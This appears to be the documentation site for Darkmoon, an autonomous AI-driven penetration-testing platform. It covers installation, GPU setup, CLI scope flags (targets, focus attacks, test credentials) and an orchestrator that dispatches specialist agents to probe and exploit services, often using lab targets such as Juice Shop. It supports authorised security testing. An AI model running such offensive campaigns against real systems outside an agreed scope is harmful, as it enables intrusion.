Darkmoon Documentation — autonomous AI penetration testing platform

Skip to content

Documentation

Important: License change
Darkmoon Community is moving from the GNU GPL v3.0 to the GNU AGPL v3.0. Every commit published up to edfe9cb (27 October 2026) stays under the GNU GPL v3.0; master is under the AGPL v3.0 since 19 November 2026 (PR #59), and no AGPL release has been tagged yet (the latest release, v1.6.0, is GPL v3.0). The contributions made by outside contributors before the switch also stay under the GNU GPL v3.0 (they are not relicensed). Details: LICENSING.md.

Overview · 1/22

I. Preview

Install, run and extend Darkmoon, the autonomous AI penetration testing platform: Community (open source CLI) and Pro editions.

  • OSS
  • Pro
  • 2 min read
Getting StartedFrom zero to your first assessment: prerequisites, clone, install, launch.InstallationRequirements, GPU, project layout, environment variables, build and the CLI.UsesRun campaigns from the CLI: prompts, targets, scopes and reports.ArchitectureHow the CLI, OpenCode, the MCP server and the toolbox fit together.AI AgentsThe orchestrator and its 50 specialists: structure, rules, adding an agent.ToolboxThe tools baked into the runtime image, labs to train on, GPU acceleration.MCP WorkflowsWhat MCP workflows are, how they run and how to write your own.Community editionThe open-source engine: contents, limits, licence and where to read results.PrivacyPrivacy gateway and prompt tokenisation: the model only sees placeholders.Terminal Explorer/explore in the console: tabs, keys, captures and the declarations you edit.ReportsReport model v2: stable sections, Markdown and PDF, what is computed and what is not.Executive securityCyber Score v1 methodology, treatment plan, frameworks (counts, not compliance), maintenance windows.Attack pathsArchitecture D: declared vs evidence-backed vs possible, abstention, honest limits.Darkmoon Pro EditionLicence, Pro install, LLM providers, the web UI, CI/CD and remediation.IntegrationsREST API, GitHub, GitLab, Jenkins, IDEs, n8n, Grafana, Splunk and the SDK.Deployment / DarkMoon ApplianceThe self-hosted appliance: sizing, network, AI modes, doctor and updates.Cloud deploymentOne command to deploy on AWS, GCP, Azure or OVH, with secrets kept safe.BenchmarksDarkmoon-Benchmarks: the LLM pentest study on OWASP Juice Shop and its limits.Scientific referencesResearch repositories, the blog research series and the reference pages.ContributingHow to contribute to Darkmoon.LicenseLicence of the Community edition.

Video tutorials: install, deploy, and wire Darkmoon into your stack.

Reading your results analyst‑in‑the‑loop

DarkMoon runs autonomous, AI‑driven assessments tuned for maximum coverage, so nothing slips through. As with any security scanner, this wide net means a share of findings are candidates that deserve a human check before action — severity and exploitability are best confirmed by an analyst.

Every finding carries its full evidence (requests, payloads, logs) in the Markdown report, and in the dashboard and PDF of Darkmoon Pro. Each finding is qualified EXPLOITED, Confirmed or Unconfirmed by the agent's adversarial self-review. This status is asserted by the agent, not machine-verified: confirm severity and exploitability against the evidence before acting. That step turns broad coverage into reliable, defensible conclusions.

Privacy gateway (reversible local tokenization). The AI never sees your real sensitive values — IPs, hostnames, domains, URLs, emails, credentials or internal paths. It only ever handles deterministic placeholders such as IP_PRIVATE_001 or HOST_INTERNAL_001. Real values are re-injected locally, right before a tool runs, and re-masked out of every result before it goes back to the model, so nothing sensitive leaves your perimeter to the LLM provider. When a value is headed somewhere it must not go — a placeholder in a URL sent to a third-party host, say — the command still runs and that third party receives the literal string IP_PRIVATE_001 instead of your address. Privacy never costs you a command. Open-source in the Community edition; Pro adds guard-sealed storage, an audit trail and a compliance-grade "no data left the perimeter" statement in the signed report. Read the Privacy chapter →

Start here · 2/22

Getting Started

The fastest path from zero to your first assessment.

  • 1 min read

The fastest path from zero to your first assessment. Each step links to the full reference below. DarkMoon is self-hosted and runs on Docker; the AI only ever sees deterministic placeholders, never your real IPs, hosts or credentials (privacy gateway).

  1. 1
    Check prerequisites
    Docker & Docker Compose, plus access to a capable LLM (Claude Opus, or a heavyweight 32B+ local model). Prerequisites →
  2. 2
    Clone the repository
    Terminal
    git clone https://github.com/ASCIT31/Dark-Moon.git
    cd Dark-Moon
  3. 3
    Install & configure
    install.sh configures your LLM provider interactively (cloud or local) and builds the stack — no need to edit docker-compose.yml.
    Terminal
    ./install.sh           # build; skip provider form if already configured
    ./install.sh --init    # force LLM provider reconfiguration
    ./install.sh --help    # show usage
    Build & launch → · Environment variables →
  4. 4
    Launch the stack & run your first assessment
    Terminal
    docker compose up -d
    Then drive DarkMoon from the User CLI (or the Pro UI). User CLI → · Usage →
  5. 5
    Read the results
    In the console, type /explore (or press <leader>d): the read-only Terminal Explorer shows the Cyber Score, the Prioritized Treatment Plan, the findings and the attack paths. Each campaign also writes a Markdown report (and, in Pro, a report page and a PDF). Terminal Explorer → · Reports → · Executive security →
Information:
First launch builds the images and may take a while. Small models (7B / 13B) are not supported for autonomous campaigns — see Compatible Models & Hardware.

Explore next:

Setup · 3/22

II. Installation

Requirements, GPU, project layout, environment variables, build and the CLI.

  • 14 sections
  • 14 min read

II.1Prerequisites

Before starting, you must have:

  • Docker
  • Docker Compose
  • Access to a capable LLM — Claude Opus 4.6 / 4.7 (recommended), or a heavyweight local model (32B+). See Compatible Models & Hardware. Small models (7B / 13B) are not supported for autonomous campaigns.

II.2GPU Troubleshooting Guide (Official)

Overview

Darkmoon supports GPU acceleration when available, but GPU configuration depends entirely on your host environment.

There are three supported setups:

Environment GPU Vendor Setup Method
Native Linux (Debian/Ubuntu) NVIDIA NVIDIA driver + NVIDIA Container Toolkit
Native Linux (Debian/Ubuntu) AMD / ATI ROCm + amdgpu driver
Windows + Docker Desktop + WSL2 NVIDIA Windows driver + Docker Desktop GPU integration

Darkmoon does not install GPU dependencies automatically to avoid breaking system configurations.

Information:
No GPU? Darkmoon falls back to CPU automatically via pocl-opencl-icd — no configuration needed.

Common Error

Error: could not select device driver "nvidia" with capabilities: [[gpu]]

or

Failed to initialize NVML: GPU access blocked by the operating system

Step 1 — Identify Your Environment

Terminal
uname -a

If you see microsoft → you are in WSL. Otherwise → native Linux.

Case 1 — Windows + Docker Desktop + WSL2

Important:
Important In this setup: DO NOT install nvidia-container-toolkit inside WSL. DO NOT configure nvidia-ctk. Docker Desktop handles GPU automatically.
Check GPU availability

On Windows (PowerShell):

Terminal
nvidia-smi

Inside WSL:

/usr/lib/wsl/lib/nvidia-smi
Test Docker GPU
Terminal
docker run --rm --gpus all nvidia/cuda:12.3.2-base-ubuntu22.04 nvidia-smi
If GPU is blocked

If you see GPU access blocked by the operating system, fix with:

Terminal
wsl --update
wsl --shutdown

Then restart Windows completely.

Docker Desktop settings
  • Settings → General → Use WSL2 backend (enabled)
  • Settings → Resources → WSL Integration → your distro enabled

Case 2 — Native Linux (Debian / Ubuntu)

Check GPU
Terminal
nvidia-smi
Test Docker GPU
Terminal
docker run --rm --gpus all nvidia/cuda:12.3.2-base-ubuntu22.04 nvidia-smi
If it fails — install NVIDIA Container Toolkit
Warning:
Known issue You may encounter: E: Type '<!doctype' is not known on line 1 in source list. This means your NVIDIA repo file is corrupted with HTML instead of APT entries. NVIDIA Forum
Fix corrupted NVIDIA repo
Terminal
sudo rm -f /etc/apt/sources.list.d/nvidia-container-toolkit.list
Correct installation (official method)
Terminal
curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey \
| sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg

curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list \
| sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' \
| sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list

sudo apt update
sudo apt install -y nvidia-container-toolkit
sudo nvidia-ctk runtime configure --runtime=docker
sudo systemctl restart docker
Validate installation
Terminal
docker run --rm --gpus all nvidia/cuda:12.3.2-base-ubuntu22.04 nvidia-smi

Case 3 — AMD / ATI GPU (Native Linux)

AMD GPUs are supported via ROCm (Radeon Open Compute). This is the AMD equivalent of NVIDIA's CUDA stack.

Check AMD GPU
Terminal
lspci | grep -i amd
rocm-smi
Install ROCm (Ubuntu 22.04)
Terminal
wget -q -O - https://repo.radeon.com/rocm/rocm.gpg.key | sudo apt-key add -
echo 'deb [arch=amd64] https://repo.radeon.com/rocm/apt/5.7 jammy main' \
  | sudo tee /etc/apt/sources.list.d/rocm.list

sudo apt update
sudo apt install -y rocm-hip-sdk rocm-opencl-runtime
sudo usermod -aG render,video $USER
Docker GPU passthrough (AMD)

AMD GPUs use /dev/kfd and /dev/dri devices. Add to your docker-compose.yml:

YAML
devices:
  - /dev/kfd:/dev/kfd
  - /dev/dri:/dev/dri
group_add:
  - video
  - render
Test AMD GPU in Docker
Terminal
docker run --rm \
  --device=/dev/kfd --device=/dev/dri \
  --group-add video --group-add render \
  rocm/rocm-terminal rocm-smi
Common AMD errors
Error Cause Fix
/dev/kfd: Permission denied User not in render group sudo usermod -aG render,video $USER + logout
No OpenCL platforms found ROCm not installed Install rocm-opencl-runtime
Container can't see GPU Missing device mounts Add --device=/dev/kfd --device=/dev/dri
Warning:
WSL2 + AMD AMD GPU passthrough in WSL2 is not officially supported by Microsoft. Use native Linux or a VM for AMD GPU workloads.

Final Notes

  • Darkmoon runs perfectly without GPU (CPU fallback via pocl-opencl-icd)
  • GPU is optional acceleration, not required
  • NVIDIA: use CUDA stack + nvidia-container-toolkit
  • AMD: use ROCm + device mounts (/dev/kfd, /dev/dri)
  • WSL GPU issues are often OS-level, not Docker-level
  • Native Linux GPU issues are usually driver or toolkit misconfiguration

Quick Debug Checklist

Check Command
NVIDIA (Windows) nvidia-smi
NVIDIA (WSL) /usr/lib/wsl/lib/nvidia-smi
NVIDIA (Docker) docker run --gpus all ...
AMD (Linux) rocm-smi
AMD (Docker) docker run --device=/dev/kfd ...
CPU fallback clinfo (shows pocl platform)
WSL reset wsl --shutdown
NVIDIA repo fix remove corrupted .list
Information:
Darkmoon does not modify your system GPU stack automatically. Instead, it detects Docker, builds and runs the stack, and lets you configure GPU safely according to your environment (NVIDIA, AMD, or CPU fallback).

II.2General project structure

Darkmoon relies on Docker and Docker Compose.

The important components are:

  • an OpenCode container (AI + agents),
  • a Darkmoon Toolbox container (pentest tools),
  • shared volumes for configuration.

II.3Configuration of environment variables in docker compose

Docker Compose is the entry point for the entire AI configuration.

II.3.aExample environment variable

YAML
environment:
   # TEST runtime variables LLM conf
   - OPENROUTER_PROVIDER=openai
   - OPENCODE_MODEL=gpt-4o
   - OPENROUTER_API_KEY=sk-svcacct-xxx

II.3.bRole of the variables

Variable Role
OPENROUTER_PROVIDER LLM model provider
OPENCODE_MODEL Exact model used
OPENROUTER_API_KEY Provider API key
Important:
Important No secret is stored in the Docker image.
Information:
Which model should I set in OPENCODE_MODEL? This matters as much in the open-source edition as in Pro — Darkmoon's autonomous agent needs a strong reasoning / tool-calling model, otherwise campaigns stall in Unknown. See the full guidance (cloud reference Opus 4.6/4.7, local Opus-class equivalents, supported open models & hardware) in Compatible Models & Hardware.

II.4Automatic generation of OpenCode files

On first launch, Darkmoon:

  1. reads the variables,
  2. automatically generates:
    • opencode.json,
    • auth.json,
  3. configures the main agent,
  4. initializes OpenCode.

All of this is done by the script:

conf/apply-settings.sh
Important:
Important You do not need to generate anything manually.

You can choose not to fill in the variables, in which case the default opencode model opencode/big-pickle will be executed.

II.5Volumes and persistence

Configuration files are persisted via Docker volumes.

II.5.aImportant volumes

- ./darkmoon-settings:/root/.config/opencode/:rw
- ./darkmoon-settings:/root/.local/share/opencode/:rw
- ./darkmoon-settings/agents:/root/.opencode/agents/:rw

II.5.bWhat this allows

  • Modify the configuration without rebuild
  • Add or modify AI agents
  • Keep logs and OpenCode state

II.6Build and launch Darkmoon

II.6.aBuilding the images

Using install.sh

Darkmoon provides a dedicated installation and recovery script:

Terminal
./install.sh

This script is designed to fully reset and recreate the Darkmoon Docker stack in a clean and deterministic way. It is useful both for initial setup and for recovering from Docker-related issues.

What the script does

1. Checks prerequisites

  • verifies that Docker is installed,
  • verifies that the Docker daemon is running,
  • verifies that Docker Compose v2 is available.

If any requirement is missing, the script stops and displays installation instructions.

2. Stops the running stack

Terminal
docker compose down --remove-orphans --volumes --rmi all

3. Removes local bind mounts

The following directories are deleted: ./data, ./darkmoon-settings, ./workflows

4. Cleans Docker build cache

Terminal
docker builder prune -f

5. Rebuilds all images from scratch

Terminal
docker compose build --no-cache

6. Recreates the Darkmoon stack

Terminal
docker compose up -d --force-recreate
When to use install.sh
  • performing the initial installation of Darkmoon,
  • Docker builds fail unexpectedly,
  • volumes or bind mounts become inconsistent,
  • configuration files were modified,
  • switching LLM providers or models,
  • troubleshooting Docker-related issues.
When you do NOT need to run it

You typically do not need to run install.sh when modifying agent Markdown files, prompts, or workflows mounted through volumes. These changes are usually applied live without rebuilding the stack.

Using Docker compose
Terminal
docker compose build

II.6.bLaunching the stack

Terminal
docker compose up -d
Information:
The first launch may take some time (image build).

II.7Launch Darkmoon (User CLI)

A wrapper is provided: darkmoon.sh.

II.7.aMake the wrapper executable

Terminal
chmod +x darkmoon.sh

II.7.bInstall globally (optional)

Terminal
sudo cp darkmoon.sh /usr/local/bin/darkmoon

II.7.cLaunch Darkmoon with TUI Console

Terminal
darkmoon

Or with a direct command:

Terminal
darkmoon "TARGET: mydomain.com"
Pentest Agent — Scope definition
Quick Pentest (zero config)
TARGET: http://172.19.0.3:3000

That's it. Blackbox, all planes, no config needed.

Bug Bounty (flags activate it)
TARGET: http://172.19.0.3:3000 PROGRAM="Juice Shop" FOCUS=sqli,xss,idor,auth-bypass EXCLUDE=dom-xss,self-xss,clickjacking CREDS=user:user@juice-sh.op:user123,admin:admin@juice-sh.op:admin123 NOISE=moderate FORMAT=h1

Any flag after the URL switches to Bug Bounty mode automatically.

Flags Reference
Flag Description Example
PROGRAM="name" Program name (report header) PROGRAM="Acme BB 2026"
TARGETS=a,b,... Additional in-scope assets TARGETS=*.acme.com,API:https://api.acme.com
OUT=a,b,... Out-of-scope (never touched) OUT=payments.acme.com,10.0.0.0/8
EXCLUDE=a,b,... Attacks to skip (free-text) EXCLUDE=dom-xss,clickjacking,CWE-352
FOCUS=a,b,... Attacks to prioritize (free-text) FOCUS=sqli,rce,ssrf,idor
CREDS=r:u:p,... Test credentials (role:user:pass[@url]) CREDS=admin:admin@test.com:Pass1@http://t/login
TOKEN=t:v,... Pre-auth tokens (bearer, cookie, apikey) TOKEN=bearer:eyJhbG...@api.acme.com
NOISE=level Discovery aggressiveness stealth / low / moderate
SEVERITY=level Global max severity cap critical / high / medium / low
FORMAT=type Report output format standard / h1 / bugcrowd / custom
RULES="r1;r2" Engagement rules (semicolon-separated) RULES="POC only;no real data"
SAFE_HARBOR=yn Safe harbor applies yes / no
EXCLUDE / FOCUS — Free-Form

Write whatever you want, the LLM understands it. No enum, no fixed list.

.env
EXCLUDE=dom-xss,self-xss,clickjacking
EXCLUDE=H1
EXCLUDE=brute-force,rate-limiting,CWE-352
.env
FOCUS=sqli,rce,ssrf,idor
FOCUS=auth-bypass,jwt,deserialization

Only shortcut: H1 = HackerOne Core Ineligible Findings.

Asset Types (optional prefix in TARGETS)

DOMAIN, URL, API, CIDR, IP, IOS, ANDROID, SOURCE, EXEC, HW

Prefix is optional — auto-detected if omitted. Wildcards supported: *.example.com

Examples

Minimal bounty:

TARGET: http://172.19.0.3:3000 PROGRAM="Juice Shop" FOCUS=sqli,xss,idor

Exclude specific attacks:

TARGET: http://172.19.0.3:3000 FOCUS=sqli,rce,ssrf EXCLUDE=dom-xss,self-xss,clickjacking,open-redirect NOISE=moderate FORMAT=h1

Multi-target with out-of-scope:

TARGET: https://app.acme.com PROGRAM="Acme" TARGETS=*.acme.com,API:https://api.acme.com/v2 OUT=payments.acme.com,10.0.0.0/8 FOCUS=sqli,rce,ssrf EXCLUDE=H1 FORMAT=h1

Full scope:

TARGET: https://app.acme.com PROGRAM="Acme BB 2026" TARGETS=*.acme.com,API:https://api.acme.com/v2 OUT=payments.acme.com,10.0.0.0/8 FOCUS=sqli,rce,ssrf,idor,auth-bypass EXCLUDE=H1,dom-xss CREDS=user:h@test.com:Bug1!,admin:a@test.com:Adm1! NOISE=moderate FORMAT=h1 SEVERITY=critical SAFE_HARBOR=yes RULES="POC only;no real user data;24/7 window"

II.7.dHow to Use the Darkmoon Assessment Engine

Overview

Darkmoon operates as a strategic vulnerability assessment orchestrator rather than a traditional scanner.

Instead of executing a fixed sequence of tools, the system behaves like an audit conductor that:

  1. Discovers the target environment
  2. Models the attack surface
  3. Classifies technology domains
  4. Dispatches specialized assessment agents
  5. Continuously adapts based on discovered signals
  6. Produces a structured security report

This approach mirrors professional methodologies such as: ISO 27001, NIST SP 800-115, MITRE ATT&CK modeling, and industrial audit practices.

The orchestrator coordinates specialized sub-agents such as: PHP, NodeJS, Flask / Python, ASP.NET, GraphQL, Kubernetes, Active Directory, Ruby on Rails, Spring Boot, Headless Browser, and CMS engines (WordPress, Drupal, Joomla, Magento, PrestaShop, Moodle). Each agent focuses on a specific technology stack.

Step 1 — Start an Assessment

The user begins by providing a target host, domain, or IP address.

TARGET: 172.20.0.4
Start Assessment

This launches the assessment campaign. The orchestrator immediately initializes a session context.

Terminal
darkmoon_get_session
--> session_id returned

The user receives a monitoring command to observe the assessment in real time:

Terminal
./darkmoon.sh --log <session_id>
Log Command
Log Output

Step 2 — Environmental Discovery

Once the session begins, the system performs controlled reconnaissance. The goal is not exploitation but environment understanding.

Activities include: port scanning, protocol detection, HTTP service discovery, banner analysis, basic service fingerprinting.

YAML
workflow: port_scan
target: 172.20.0.4
ports discovered: 80

This phase builds the initial attack surface model.

Enumeration

Step 3 — Technology Fingerprinting

Once exposed services are identified, Darkmoon determines the technology stack.

Server: Apache/2.4.38
X-Powered-By: PHP/7.1.33
WordPress detected
plugins detected

The orchestrator builds a technology profile:

Web Application
 |-- Apache
 |-- PHP
 +-- WordPress CMS
Technology Matrix

Step 4 — Attack Surface Modeling

The system constructs an internal representation of the target environment including exposed endpoints, authentication surfaces, APIs, frameworks, and infrastructure components.

/wp-json/     --> REST API
/xmlrpc.php   --> remote publishing interface
/wp-login.php --> authentication endpoint

Step 5 — Sub-Agent Selection

The orchestrator dynamically selects specialized agents based on detected technology signals.

Signal detected Agent triggered
WordPress wordpress
GraphQL endpoint graphql
NodeJS / Express nodejs
Flask / Django flask
ASP.NET aspnet
Java Spring springboot
Ruby ruby
Active Directory ad
Kubernetes cluster kubernetes
Go (Gin / Echo / Fiber / net-http) golang
AWS / Azure / GCP account aws · azure · gcp
Microsoft Entra ID (Azure AD) entra-id
GitHub / GitLab / Jenkins github · gitlab · jenkins
Terraform / Ansible (IaC) terraform · ansible
Docker & container registries docker · container-registry
HashiCorp Vault hashicorp-vault
SQL databases & brokers/caches sql-databases · messaging-cache
Firmware image / IoT device (OpenWrt · BusyBox · Dropbear · uhttpd/LuCI) firmware
Keycloak / Okta / Auth0 / Authentik / Ping (OIDC · SAML · SCIM) sso-idp
ArgoCD / FluxCD / Tekton / Crossplane (GitOps) gitops
Grafana / Prometheus / Splunk / Zabbix / Wazuh observability
SMB / NFS / MinIO / Ceph / Swift storage
MongoDB / Elasticsearch / Neo4j / CouchDB nosql-databases
OpenShift / Rancher container-platform
Cloudflare / Nginx / HAProxy / Traefik / Envoy / F5 edge-proxy
OpenVPN / WireGuard / RDP / VNC / WinRM / Guacamole vpn-remote-access
Palo Alto / Fortinet / Cisco / SNMP / DNS / DHCP firewall-network
Exchange / Postfix / Exim / Dovecot / SMTP relay email-infrastructure
Veeam / Commvault / Rubrik / restic / borg backup
AD CS templates (ESC1-ESC16) / ACME / SCEP pki-adcs
vSphere / ESXi / Proxmox / Hyper-V / Nutanix hypervisor
Salesforce / ServiceNow / Atlassian / Nextcloud business-platforms
Android APK / iOS IPA (supplied as scope) mobile
Intune / Jamf / Workspace ONE / Ivanti (MDM) mdm

Multiple agents may run in parallel if several technologies are detected.

The cloud, identity, CI/CD, IaC, secrets, data, firmware/IoT and infrastructure agents are credential- or artifact-gated: unlike the web agents they are never dispatched on inference, only when a concrete positive artifact names the plane — a leaked credential, an exposed API/port, or scope the operator supplied — the same manual-only discipline used for Active Directory and Kubernetes.

Step 6 — Reactive Multi-Agent Execution

The orchestrator uses a reactive feedback loop. After each agent finishes:

  1. The results are analyzed.
  2. Newly discovered technologies are evaluated.
  3. Additional agents may be dispatched.
Initial scan
   |
WordPress detected
   |
WordPress agent executed
   |
Plugin exposes GraphQL API
   |
GraphQL agent triggered
Sub-agent dispatch

Step 7 — Evidence-Based Findings

A vulnerability is reported only when evidence exists, such as HTTP request used, payload sent, raw response received, or extracted data. If proof is incomplete, the finding is labeled:

UNCONFIRMED SIGNAL

This ensures the report remains audit-grade and defensible.

Report

Step 8 — Campaign Completion

The assessment ends when no new technology signals appear, all relevant agents have executed, and attack surface coverage is sufficient. The final report summarizes: discovered technologies, attack surfaces, validated vulnerabilities, supporting evidence, and risk classification.

High-Level Workflow Diagram

            +--------------------+
            |   User provides    |
            |   target address   |
            +----------+---------+
                       |
                       v
           +----------------------+
           | Session Initialization|
           | darkmoon_get_session |
           +----------+-----------+
                      |
                      v
           +----------------------+
           | Environmental        |
           | Discovery            |
           +----------+-----------+
                      |
                      v
           +----------------------+
           | Technology           |
           | Fingerprinting       |
           +----------+-----------+
                      |
                      v
           +----------------------+
           | Attack Surface       |
           | Modeling             |
           +----------+-----------+
                      |
                      v
           +----------------------+
           | Sub-Agent Selection  |
           +----------+-----------+
                      |
                      v
          +-----------------------+
          | Multi-Agent Execution |
          | Reactive Loop         |
          +----------+------------+
                     |
                     v
          +-----------------------+
          | Evidence Validation   |
          +----------+------------+
                     |
                     v
          +-----------------------+
          | Final Security Report |
          +-----------------------+

What the User Needs to Do

1. Provide a target

TARGET: <ip or domain>

2. Monitor the session

Terminal
./darkmoon.sh --log <session_id>

3. Wait for the assessment to complete

The orchestrator automatically discovers technologies, dispatches agents, collects evidence, and generates the report. No manual tool selection is required.

Key Advantages

  • models the system before testing
  • adapts to discovered technologies
  • coordinates multiple specialized engines
  • avoids noisy scanning
  • produces evidence-driven findings

This makes it suitable for industrial-grade security assessments.

II.8Direct access to the container (debug)

It is possible to enter the OpenCode container directly:

Terminal
docker exec -ti opencode bash

This allows: to inspect files, to modify agents, to test OpenCode directly.

II.9Where to modify what (summary)

Action Where
Change the LLM model (which model?) .env
Modify opencode.json darkmoon-settings/opencode.json
Modify auth.json darkmoon-settings/auth.json
Add an agent darkmoon-settings/agents/
Add an agent before build conf/agents/

II.10Quick summary

  • .env → AI configuration
  • docker compose up -d → launch
  • darkmoon → usage
  • Volumes → persistence & live modification

II.11Clipboard & Terminal (OSC 52)

Darkmoon's interactive console (the TUI) runs inside a container, so it cannot reach your host clipboard directly. Every copy action — text selection, and Ctrl+P → "Copy session transcript" / "Copy last assistant message" — sends the data to your machine through the OSC 52 terminal escape sequence. Your terminal emulator must support (and allow) OSC 52 clipboard writes, otherwise the copy silently goes nowhere.

Warning:
Warning The "Copied to clipboard" message is shown as soon as the sequence is emitted — it does not guarantee your terminal accepted it. If pasting yields nothing, the cause is almost always terminal-side, not Darkmoon.

Symptom

  • "Copied to clipboard" appears, but Ctrl+V (or Ctrl+Shift+V) pastes nothing — neither inside the TUI nor in any other application.
  • Most common on GNOME Terminal / VTE (the Ubuntu default), which does not honor OSC 52 clipboard writes by default.

Confirm it is your terminal

Run this outside Darkmoon, then try to paste somewhere:

printf '\033]52;c;%s\007' "$(printf 'osc52-test' | base64)"

If pasting does not give you osc52-test, your terminal is dropping OSC 52.

Fixes

SituationFix
Terminal without OSC 52 (GNOME Terminal, older Konsole/PuTTY) Use an OSC 52‑capable terminal: kitty, WezTerm, Alacritty, foot, xterm (allowWindowOps / 52 not blocked), Windows Terminal, or iTerm2 (enable Allow clipboard access)
Inside tmux / screen tmux: add set -g set-clipboard on (Darkmoon already wraps the sequence for tmux passthrough). screen: enable clipboard or use a compatible terminal
Over SSH Works as long as the local terminal supports OSC 52 — nothing to install on the server
Very large session transcript OSC 52 has per‑terminal size limits and may be truncated even on a supported terminal. For full output, use the report files in ./reports
Information:
Note Darkmoon cannot work around this from inside the container: for a containerized TUI, OSC 52 is the only portable bridge to the host clipboard. Clipboard behaviour therefore depends entirely on your terminal configuration.

II.12Launch flags, privacy and the Cyber Score

Some launch flags restrict what a campaign tests, and the Cyber Score says so:

Flag at launchEffect on the rating
SEVERITY= any value below criticalNot rated (the campaign ignored part of what it could find)
EXCLUDE=… or NOISE=stealthLimited test, capped at 69
FOCUS=… (a short, focused campaign)Limited test, capped at 69
OUT=…, RULES=…listed with the rating

What you type, including TARGET, CREDS and TOKEN, is tokenised before the model sees it (prompt tokenisation). After the run, type /explore to read the results (Terminal Explorer).

Usage · 4/22

III. Uses

Run campaigns from the CLI: prompts, targets, scopes and reports.

  • 1 sections
  • 1 min read

III.1Prompt Examples

Here are example prompts you can use with Darkmoon. Every prompt starts with TARGET: followed by your target address.

DVGA (Damn Vulnerable GraphQL Application)

TARGET: http://localhost:5013

Darkmoon will automatically detect the GraphQL surface and focus on introspection, injection, and authentication bypass.

Juice Shop (with headless browser)

TARGET: http://localhost:3000

Full blackbox pentest. Darkmoon detects the stack, dispatches the appropriate agents (NodeJS, headless browser), and covers OWASP Top 10.

Juice Shop (API only, no browser)

TARGET: http://localhost:3000 FOCUS=sqli,idor,auth-bypass,broken-auth EXCLUDE=dom-xss,self-xss,clickjacking

API-only pentest without browser. Use FOCUS to prioritize attack types and EXCLUDE to skip irrelevant ones.

Bug Bounty mode

TARGET: https://app.example.com PROGRAM="Example BB" FOCUS=sqli,rce,ssrf,idor EXCLUDE=H1 NOISE=moderate FORMAT=h1

Any flag after the URL activates Bug Bounty mode. See the Flags Reference for all available options.

Internals · 5/22

IV. Architecture

This document explains how Darkmoon is built, who is responsible for what, and why the architecture is robust.

  • 8 sections
  • 5 min read

Target audience: security professionals, developers, DevSecOps engineers, technical reviewers, and advanced contributors.

IV.1Core Idea

Darkmoon is built around a strict and deliberate principle:

The AI never interacts directly with pentesting tools.

The AI is responsible for reasoning, planning, and decision-making, but it does not execute anything itself. Every concrete action goes through a controlled intermediary layer. This design significantly increases security, improves operational control, and prevents unpredictable behavior from the AI.

IV.2Main Components (Who Does What)

IV.2.aOpenCode — The Brain

OpenCode acts as the central orchestrator of the system. It communicates with the LLM, manages AI agents, determines the next actions to perform, and calls the MCP whenever a real-world action is required. Importantly, OpenCode never executes any pentesting tool directly.

IV.2.bAI Agents — The Strategy Layer

AI agents are defined in Markdown files. Their purpose is to describe the pentesting methodology and enforce structured execution phases such as reconnaissance, scanning, exploitation, validation, and reporting. Because they are written in Markdown, agents are readable, auditable, and version-controlled through Git.

IV.2.cMCP Darkmoon — The Security Gatekeeper

The MCP is the central security boundary of Darkmoon. It exposes only explicitly authorized functions to the AI and executes actions on its behalf. All inputs and outputs are strictly controlled and structured. The MCP effectively acts as an internal controlled API layer.

IV.2.dDarkmoon Toolbox — The Real Tools

The Toolbox contains the actual pentesting tools and runs inside a dedicated Docker container. Its purpose is to guarantee isolation, reproducibility, and environmental consistency.

IV.2.eDocker & Volumes — Isolation and Persistence

Docker is used to isolate system components from each other and from the host system. Volumes allow configuration and data to persist while enabling dynamic modifications without requiring full redeployment.

IV.3Execution Flow (Simple Overview)

When a user submits a prompt, OpenCode analyzes the request and delegates the mission to an AI agent. The agent determines the appropriate strategy and, when an action is needed, calls a function exposed by the MCP. The MCP then executes the corresponding tool inside the Docker-based Toolbox. Results are returned to the MCP, passed back to the agent in structured form, and used to determine the next step or produce a final report.

IV.3.aDeployment diagram

      flowchart LR
        User -->|CLI / Prompt| DarkmoonCLI
        DarkmoonCLI --> OpenCode
        OpenCode --> MCP
        MCP -->|Docker API| Toolbox
      

IV.3.bNetwork flow diagram

      sequenceDiagram
        participant U as User
        participant O as OpenCode
        participant A as AI Agent
        participant M as MCP Darkmoon
        participant T as Docker Toolbox

        U->>O: User prompt
        O->>A: Delegate task
        A->>M: MCP function call
        M->>T: Execute real tool
        T-->>M: Results
        M-->>A: Structured output
        A-->>O: Next decision
        O-->>U: Summary / result
      

IV.4Security by Design

Darkmoon enforces clear boundaries:

From To Role
Agent MCP Action control
MCP Toolbox Secure execution
Toolbox Host Docker isolation

The AI never executes system commands, never controls Docker, and never leaves its designated scope.

IV.5Why This Architecture Is Robust

The architecture is robust because responsibilities are clearly separated and there is no hidden or implicit logic. Each layer has a single, well-defined role and communicates through explicit interfaces. Components can be replaced independently without breaking the overall system. The platform is not locked to any specific AI provider and is suitable for sensitive or controlled environments where predictability and auditability are essential.

For a deeper understanding of how agents operate, see AI Agents.

IV.6Current architecture and data flow

State of production on 2026-11-20 (Community master and the deployed Pro release). In Community everything runs on your machine; in Pro, findings, reports and campaign data stay on the customer's host. Nothing is sent to Darkmoon.

Community

flowchart TB
  OP["Operator"] -->|"darkmoon console"| OC["OpenCode console<br/>pentest + 50 specialists"]
  OC -->|"each message, before the model"| PS["Prompt tokenizer<br/>(local socket)"]
  OC -->|"MCP over stdio, 13 tools"| MCP["MCP server"]
  PS --- PG
  MCP --> PG["Privacy gateway<br/>vault + command gateway"]
  PG -->|"docker exec, allow-listed tools"| TB["Toolbox container"]
  MCP -->|"dashboard_* writes"| ST[("Local JSON store")]
  ST --> EC["Executive core<br/>Cyber Score, plan, frameworks,<br/>profile, report model"]
  ST --> AP["Attack-path engine<br/>declared + inferred, never proven"]
  EC --> RP["Markdown report<br/>darkmoon-report/v2"]
  AP --> RP
  ST --> TE["Terminal Explorer<br/>read-only, no model call"]
  EC --> TE
  AP --> TE
LayerRole
Console and agentsReasoning, planning, dispatch of the 50 specialists (AI Agents)
PrivacyPlaceholders instead of real values in the prompt, the tool calls and the outputs (Privacy)
MCP serverThe only way for the model to act (MCP tools)
ToolboxThe real tools, isolated in Docker (Toolbox)
Data layerCampaigns, findings, infrastructure nodes and coverage signals as JSON files
Executive coreCyber Score, treatment plan, frameworks, profile, maintenance, report model; shipped identically in Community and Pro (Executive security)
